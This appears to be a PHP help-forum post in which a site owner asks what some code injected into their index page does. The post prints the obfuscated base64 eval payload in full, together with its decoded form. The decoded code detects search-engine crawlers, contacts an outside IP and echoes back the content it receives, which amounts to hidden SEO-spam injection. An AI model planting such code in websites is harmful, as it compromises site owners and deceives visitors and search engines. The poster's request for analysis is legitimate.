Please help understand this code

Posted on 16th Feb 2014 07:03 pm by admin

I noticed the index page on my site was modified this morning and found this code inserted at the bottom of the page:

Code: <!--ddgbsre_erd_sdd--><?php eval(base64_decode("aWYoc3RyaXBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICdnb29nbGUnKSBvciBzdHJpcG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwgJ3lhaG9vJykgb3Igc3RyaXBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICdtc24nKSBvciBzdHJpcG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwgJ2xpdmUnKSkNCnsNCiAgJHIgPSAnJzsNCiAgaWYoJGY9QGZzb2Nrb3BlbignOTEuMjA3LjQuMTgnLDgwLCRlLCRlciwxMCkgYW5kIEBmcHV0cygkZiwgIkdFVCAvbGlua2l0L2luLnBocD9kb21haW49IiAuIHVybGVuY29kZSgkX1NFUlZFUlsiU0VSVkVSX05BTUUiXSkgLiAiJnVzZXJhZ2VudD0iIC4gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgLiAiIEhUVFAvMS4wXHJcbkhvc3Q6IDkxLjIwNy40LjE4XHJcblxyXG4iKSkNCiAgd2hpbGUoICRsID0gZnJlYWQoJGYsIDEwMjQpKSAkciAuPSAkbDsNCiAgQGZjbG9zZSgkZik7DQogICRwPXN0cnBvcygkciwiXHJcblxyXG4iKTsgZWNobyBzdWJzdHIoJHIsJHArNCk7DQp9"));

I printed out what is decoded:
Code: if(stripos($_SERVER['HTTP_USER_AGENT'], 'google') or stripos($_SERVER['HTTP_USER_AGENT'], 'yahoo') or stripos($_SERVER['HTTP_USER_AGENT'], 'msn') or stripos($_SERVER['HTTP_USER_AGENT'], 'live')) { $r = ''; if($f=@fsockopen('91.207.4.18',80,$e,$er,10) and @fputs($f, "GET /linkit/in.php?domain=" . urlencode($_SERVER["SERVER_NAME"]) . "&useragent=" . urlencode($_SERVER['HTTP_USER_AGENT']) . " HTTP/1.0rnHost: 91.207.4.18rnrn")) while( $l = fread($f, 1024)) $r .= $l; @fclose($f); $p=strpos($r,"rnrn"); echo substr($r,$p+4); }

Can someone please interpret what this code is trying to do? I noticed that the IP address is coming from the Ukraine.

Thank you

Your Answer:

Login to answer

Other forums

Function to extract email attachments using PHP IMAP
function extract_attachments($connection, $message_number) {

$attachments = array();

square instead of number
Hello
I do not know why but this code seems to work fine only in my xampp local insallation but n

Stopping page post back
I have few literal contriols in my page and a repeater too. But inspite of using update panel, postb

getting Vars to pass to next page.
Hello all,
I have a confusing situation on my hands, i am a member of a gaming community and we

Preg_match with an array
is there an away to use preg_match with an array?

i want to check a string with an array to s

connect() succeeds but accept() does not?
Please help me with this problem. I'm working on a time-sensitive project where I'm using TCP socket

UL and LI Add Form
The idea I want here is when the user click on a character name from the drop down select bar at the

How to disable direct access to a file
Suppose I've 2 Files. 1.php & 2.php

I don't want anybody to access 2.php directly fr

Two fgetcsv related questions ;D
First of im trying to get a file from a merchants server but the directory is protected, I know the

I would like "for" to wait 5 sec
I would like my 'for' loop to wait 5 sec before second iteration.


for ($i=0; $i<10